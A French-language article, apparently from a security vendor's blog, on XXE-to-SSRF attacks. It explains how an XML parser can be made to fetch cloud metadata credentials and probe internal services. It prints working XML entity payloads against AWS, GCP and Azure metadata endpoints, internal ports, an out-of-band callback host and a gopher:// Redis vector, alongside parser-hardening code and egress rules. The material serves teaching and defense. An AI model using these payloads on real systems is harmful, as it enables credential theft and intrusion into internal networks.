Chaîne XXE-SSRF (CWE-611) : forcer le parseur XML à émettre des requêtes internes — identifiants IMDSv1, APIs privées et topologie réseau exposés.
TL;DR
SYSTEM "http://169.254.169.254/latest/meta-data/" pivote XXE vers SSRFfile:// par http:// pour pivoter de la lecture de fichier à l'accès réseau interneLe SSRF-via-XXE survient quand l'URI SYSTEM d'une entité externe XML utilise le schéma http:// ou https:// plutôt que file://. Au lieu de lire un fichier local, le parseur émet une requête HTTP sortante vers l'URL spécifié et substitue le corps de la réponse HTTP comme valeur de l'entité. Le parseur XML devient un client HTTP sous le contrôle de l'attaquant, capable d'atteindre tout URL accessible depuis le serveur — services de métadonnées cloud, APIs internes, et services réseau jamais destinés à recevoir du trafic externe.
L'attaque est une chaîne : XXE fournit la primitive de requête URL arbitraire (CWE-611), et SSRF fournit l'impact d'accès réseau interne (CWE-918 — Falsification de requête côté serveur). Aucun n'est une nouvelle classe de vulnérabilité, mais leur combinaison est dévastatrice dans les environnements cloud où le Service de Métadonnées d'Instance (IMDS) expose des identifiants IAM à toute requête HTTP interne.
La chaîne d'attaque :
file:///etc/passwd par http://169.254.169.254/latest/meta-data/ dans l'entité SYSTEM.POST /api/inventaire HTTP/1.1
Host: commerce.exemple.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<verificationInventaire>
<sku>&xxe;</sku>
</verificationInventaire>HTTP/1.1 200 OK
{"sku": "ec2-role-production"}<!-- Deuxième requête avec le nom du rôle -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-production">{
"sku": "{\"Code\": \"Success\", \"AccessKeyId\": \"AKIA...\", \"SecretAccessKey\": \"...\", \"Token\": \"...\"}"
}| Cloud | Point de terminaison | Données récupérées |
|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE | AccessKeyId, SecretAccessKey, Token |
| AWS IMDSv1 | http://169.254.169.254/latest/user-data | Scripts de démarrage (souvent avec des secrets) |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | Token OAuth2 |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | Identité VM, infos abonnement |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?... | Token d'identité managée |
<!-- Énumérer les ports ouverts sur localhost -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
<!-- Redis : répond avec bannière ou "+PONG" -->
<!-- API Kubernetes -->
<!ENTITY xxe SYSTEM "https://10.96.0.1:443/api/v1/namespaces">
<!-- Elasticsearch interne -->
<!ENTITY xxe SYSTEM "http://10.0.0.10:9200/_cat/indices?v">CVE-2024-34102 — Adobe Commerce CosmicSting (CVSS 9.8)
Le PoC public CosmicSting se concentrait sur la chaîne lecture de fichier vers RCE, mais le même XXE fournissait un pivot SSRF vers l'infrastructure interne d'Adobe Commerce sur les déploiements cloud. Sansec a confirmé que le XXE pouvait atteindre des couches de cache internes et des panneaux d'administration non exposés à internet.
CVE-2024-22024 — Ivanti Connect Secure SAML (CVSS 8.3)
Le parseur XML SAML effectuait des requêtes HTTP vers des DTDs contrôlés par l'attaquant (XXE OOB), mais le même mécanisme de résolution d'entités pouvait être dirigé vers l'infrastructure interne d'Ivanti. Les interfaces de gestion internes, accessibles uniquement depuis l'interface réseau du serveur VPN, étaient atteignables via le pivot SSRF.
Violation Capital One (2019) — Référence pattern SSRF
Bien que non basée sur XXE, la violation Capital One (100 millions de dossiers) illustre la chaîne d'impact identique : vulnérabilité SSRF dans un WAF → requête HTTP vers AWS IMDS → vol d'identifiants IAM → accès aux buckets S3. Cette violation est l'étude de cas de référence pour le risque SSRF vers IMDS.
HackerOne #293795 — API REST Uberflip (Élevé)
Le chercheur a utilisé le XXE OOB pour confirmer la lecture de fichier, puis a pivoté vers SSRF en changeant l'URI d'entité vers http://169.254.169.254/. Le point de terminaison de métadonnées AWS a répondu, confirmant que le serveur tournait sur AWS EC2 avec IMDSv1 accessible.
Après avoir confirmé l'acceptation XML, tester avec une entité HTTP :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://VOTRE-TOKEN.oast.pro/test-ssrf">]>
<racine><donnees>&xxe;</donnees></racine>Tester le point de terminaison de métadonnées cloud :
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">Énumérer les ports internes :
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:9200/">Burp Suite Pro inclut des vérifications XXE-SSRF avec Collaborator pour les rappels HTTP OOB.
BreachVex détecte XXE-SSRF en confirmant d'abord l'expansion d'entités, puis en testant http://169.254.169.254/ et http://127.0.0.1/ avec des tokens de rappel hors-bande uniques. Un rappel HTTP depuis l'IP de la cible vers l'écouteur hors-bande confirme la capacité SSRF ; la présence de champs de métadonnées cloud confirme le potentiel de vol d'identifiants.
// Java — désactiver DOCTYPE bloque entièrement la résolution d'entités http://
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Le parseur ne peut plus effectuer de requêtes HTTP sortantes via la résolution d'entités# Python — defusedxml bloque tous les types de schémas dans les URI d'entités
from defusedxml import ElementTree as ET
arbre = ET.fromstring(corps_xml) # entités http:// bloquées// .NET — XmlResolver = null prévient toute récupération d'URI externe
var doc = new XmlDocument { XmlResolver = null };
doc.Load(flux);Défenses au niveau cloud (en défense en profondeur, pas substituts au durcissement du parseur) :
# AWS — appliquer IMDSv2 au niveau de l'instance (bloque le vol d'identifiants en une requête)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Filtrage d'egress — bloquer 169.254.169.254 depuis les serveurs applicatifs
iptables -A OUTPUT -d 169.254.169.254 -j REJECTL'application d'IMDSv2 prévient le vol d'identifiants IAM en une étape mais ne prévient pas tout impact SSRF. Un attaquant peut toujours atteindre des services internes (Redis, Elasticsearch, API Kubernetes) via XXE-SSRF même avec IMDSv2 appliqué. Le durcissement du parseur qui désactive la résolution d'entités externes est le seul contrôle qui élimine tout impact XXE-SSRF.
Les parseurs XML supportent plusieurs schémas URI dans les déclarations d'entités SYSTEM, notamment http:// et https://. Quand le parseur résout une entité externe référençant une URL HTTP, il émet une requête HTTP sortante depuis le serveur et substitue le corps de la réponse comme valeur de l'entité. Le parseur XML devient un client HTTP, effectuant des requêtes vers tout URL accessible depuis le serveur — services réseau internes, points de terminaison de métadonnées cloud et services localhost non exposés à internet.
Le Service de Métadonnées d'Instance AWS (IMDS) est un point de terminaison HTTP à 169.254.169.254 accessible uniquement depuis une instance EC2. L'IMDSv1 ne nécessite aucune authentification — tout processus sur l'instance peut récupérer des identifiants de rôle IAM via GET http://169.254.169.254/latest/meta-data/iam/security-credentials/NOM-DU-ROLE. XXE-SSRF permet à un attaquant de faire cette requête via le parseur XML, obtenant des identifiants AWS temporaires (AccessKeyId, SecretAccessKey, Token) utilisables pour accéder aux services AWS.
IMDSv2 (Service de Métadonnées v2) nécessite un échange de token en deux étapes : d'abord PUT pour obtenir un token de session avec TTL, puis GET avec ce token. Cela prévient le vol d'identifiants en une seule requête. Cependant, IMDSv2 est opt-in — si les instances EC2 sont configurées avec imds-hop-limit permettant la participation du serveur, ou si le repli sur IMDSv1 n'est pas désactivé, XXE-SSRF peut toujours récupérer des identifiants. AWS recommande d'appliquer IMDSv2 au niveau du compte via des SCPs.
Points de terminaison de métadonnées cloud (AWS IMDS, serveur de métadonnées GCP, Azure IMDS) pour le vol d'identifiants. Redis interne sur le port 6379 (via gopher:// sur les anciens parseurs). Elasticsearch interne (port 9200) sans authentification. Consul/etcd interne pour la configuration et les secrets. Serveur API Kubernetes interne (port 6443). APIs HTTP internes sans authentification protégées par un pare-feu depuis internet. Daemon Docker sur le port 2375.
http:// et https:// fonctionnent dans tous les parseurs. ftp:// fonctionne dans Java/Xerces et les anciennes versions de libxml2. gopher:// fonctionne dans les très anciens parseurs et peut être utilisé pour construire des payloads TCP bruts vers des services non-HTTP (Redis, Memcached, SMTP). file:// pour les lectures du système de fichiers local. jar:// et classpath:// (Java) pour lire depuis des archives JAR. Les schémas disponibles dépendent du parseur et de la plateforme.
CVE-2024-34102 (Adobe Commerce CosmicSting) incluait un composant SSRF permettant de sonder l'infrastructure interne d'Adobe Commerce. CVE-2024-22024 (Ivanti Connect Secure) démontrait le pivot SSRF via XXE dans le traitement SAML. CVE-2025-66516 (Apache Tika) confirmait la capacité SSRF dans le traitement PDF/XFA. La violation Capital One (2019) utilisait SSRF contre AWS IMDS — illustrant le chemin d'impact identique : requête côté serveur vers 169.254.169.254 → extraction d'identifiants IAM → accès aux buckets S3.
Le SSRF direct exploite des paramètres URL dans des fonctionnalités applicatives (webhooks, récupérateurs d'URL, importateurs d'images). XXE-SSRF utilise le parseur XML comme client HTTP à la place. L'impact est identique une fois SSRF réalisé. La distinction importe pour la détection : XXE-SSRF est déclenché via la modification du corps XML (Content-Type: application/xml), tandis que le SSRF direct est déclenché via la manipulation de paramètres URL. Les deux nécessitent les mêmes contrôles d'egress comme atténuation.
Prévenir XXE (désactiver DOCTYPE au niveau du parseur) prévient également XXE-SSRF — le parseur XML ne résout jamais les entités http:// si DOCTYPE est désactivé. En défense en profondeur : (1) appliquer IMDSv2 sur toutes les instances cloud, (2) filtrage d'egress bloquant les serveurs applicatifs d'atteindre 169.254.169.254, (3) authentification requise sur tous les services internes, (4) protection du point de terminaison de métadonnées cloud (AWS Metadata v2, GCP metadata.google.internal nécessite l'en-tête Metadata-Flavor).
Dans la chaîne d'attaque CosmicSting, l'impact principal était la lecture de fichier en bande (lecture de app/etc/env.php). Le composant SSRF permettait de sonder l'infrastructure interne d'Adobe Commerce — panneaux d'administration internes, couches de mise en cache et APIs internes non exposées à internet. Bien que le PoC public se concentre sur la lecture de fichier menant à RCE, les chercheurs en sécurité ont noté que le même XXE permettait un SSRF complet dans le réseau interne des déploiements cloud Adobe Commerce.
Via le schéma gopher:// qui construit des payloads TCP bruts. Un URI gopher:// encode des octets arbitraires : gopher://127.0.0.1:6379/_%2A1%0D%0A... peut envoyer des commandes Redis. Cela permet RCE via Redis CONFIG SET si l'instance Redis n'a pas d'authentification. Les parseurs modernes (libxml2 >= 2.9.0, Java 11+) ont supprimé le support gopher://, mais les déploiements Java et PHP legacy restent vulnérables.